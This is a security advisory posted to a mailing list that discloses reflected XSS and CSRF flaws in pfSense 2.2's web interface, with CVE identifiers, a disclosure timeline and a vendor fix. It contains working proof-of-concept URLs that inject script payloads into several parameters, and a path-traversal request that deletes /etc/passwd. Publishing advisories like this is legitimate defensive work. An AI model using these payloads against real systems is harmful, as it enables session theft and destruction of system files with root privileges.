[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Arbitrary file deletion and multiple XSS vulnerabilities in pfSense
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Arbitrary file deletion and multiple XSS vulnerabilities in pfSense
- From: High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>
- Date: Wed, 25 Mar 2015 11:24:17 +0100 (CET)
Advisory ID: HTB23251
Product: pfSense
Vendor: Electric Sheep Fencing LLC
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Advisory Publication: March 4, 2015 [without technical details]
Vendor Notification: March 4, 2015
Vendor Patch: March 5, 2015
Public Disclosure: March 25, 2015
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery
[CWE-352]
CVE References: CVE-2015-2294, CVE-2015-2295
Risk Level: Medium
CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 5.4
(AV:N/AC:H/Au:N/C:N/I:N/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in
web interface of pfSense, which can be exploited to perform Cross-Site
Scripting (XSS) attacks against administrator of pfSense and delete arbitrary
files via CSRF (Cross-Site Request Forgery) attacks.
Successful exploitation of the vulnerabilities may allow an attacker to delete
arbitrary files on the system with root privileges, steal administrator’s
cookies and gain complete control over the web application and even the entire
system, as pfSense is running with root privileges and allows OS command
execution via its web interface.
1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294
1.1 Input passed via the "zone" HTTP GET parameter to
"/status_captiveportal.php" script is not properly sanitised before being
returned to the user. A remote attacker can trick a logged-in administrator to
open a specially crafted link and execute arbitrary HTML and script code in
browser in context of the vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to
"/firewall_rules.php" script is not properly sanitised before being returned to
the user. A remote attacker can trick a logged-in administrator to open a
specially crafted link and execute arbitrary HTML and script code in browser in
context of the vulnerable website.
Below are two PoC codes for each vulnerable parameter that use JS "alert()"
function to display "ImmuniWeb" popup:
https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php"
script is not properly sanitised before being returned to the user. A remote
attacker can trick a logged-in administrator to open a specially crafted link
and execute arbitrary HTML and script code in browser in context of the
vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.4 Input passed via the "id" HTTP GET parameter to
"/services_unbound_acls.php" script is not properly sanitised before being
returned to the user. A remote attacker can trick a logged-in administrator to
open a specially crafted link and execute arbitrary HTML and script code in
browser in context of the vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.5 Input passed via the "filterlogentries_time",
"filterlogentries_sourceipaddress", "filterlogentries_sourceport",
"filterlogentries_destinationipaddress", "filterlogentries_interfaces",
"filterlogentries_destinationport", "filterlogentries_protocolflags" and
"filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is
not properly sanitised before being returned to the user. A remote attacker can
trick a logged-in administrator to open a specially crafted link and execute
arbitrary HTML and script code in browser in context of the vulnerable website.
Below are eight PoC codes for each vulnerable parameter that use JS "alert()"
function to display "ImmuniWeb" popup:
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295
2.1 The vulnerability exists due to insufficient validation of the HTTP request
origin in "/system_firmware_restorefullbackup.php" script. A remote attacker
can trick a log-in administrator to visit a malicious page with CSRF exploit
and delete arbitrary files on the target system with root privileges.
The following PoC code deletes file "/etc/passwd":
https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd
-----------------------------------------------------------------------------------------------
Solution:
Update to pfSense 2.2.1
More Information:
https://blog.pfsense.org/?p=1661
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23251 -
https://www.htbridge.com/advisory/HTB23251 - Arbitrary file deletion and
multiple XSS vulnerabilities in pfSense.
[2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open
source customized distribution of FreeBSD specifically tailored for use as a
firewall and router that is entirely managed via web interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual
web application penetration test and cutting-edge vulnerability scanner
available online via a Software-as-a-Service (SaaS) model.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.